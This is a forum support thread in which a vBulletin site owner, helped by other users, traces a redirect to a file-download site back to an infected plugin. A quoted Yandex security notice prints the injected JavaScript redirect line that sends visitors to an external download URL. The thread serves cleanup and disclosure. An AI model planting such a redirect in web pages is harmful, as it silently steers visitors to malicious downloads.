[creative-friend]

Originally Posted by Kane@airrifle

Best way to test is a site search from a browser in incognito/private mode and not logged in to your forum. Try it, pick any of the returned links and you will be redirected to filestore for that session. I did this on Opera, Firefox, Chrome and Brave and all returned the redirect.

You need to start by buttoning down your admincp folder with a htaccess password. Then follow the guides as provided in my previous post.

Originally Posted by z3r0

You are, I just got redirected to myfilestore dot com when testing coming to your site from a google search.

thank you so much

--------------- Added [DATE]1484626252[/DATE] at [TIME]1484626252[/TIME] ---------------

I have found infected plugin by manually checking of all plugin.

Product: VBulletin
Hook location: parse_templates
Title: AME - Display Don't Auto Convert Option
Code: See attached txt file

--------------- Added [DATE]1484627008[/DATE] at [TIME]1484627008[/TIME] ---------------

Now i disable this plugin, but how it will be completely remove???
delete this plugin or only remove code

Yandex support also identified this mistake

The following malicious code appears at your site from time to time:

document.location='http://myfilestore.com/download.php?id=ed4d0ec3'

when the following URL is loaded:

http://www.pakistanipoint.com/misc.p...22&js=js123456

Please, check your files and remove the malicious code.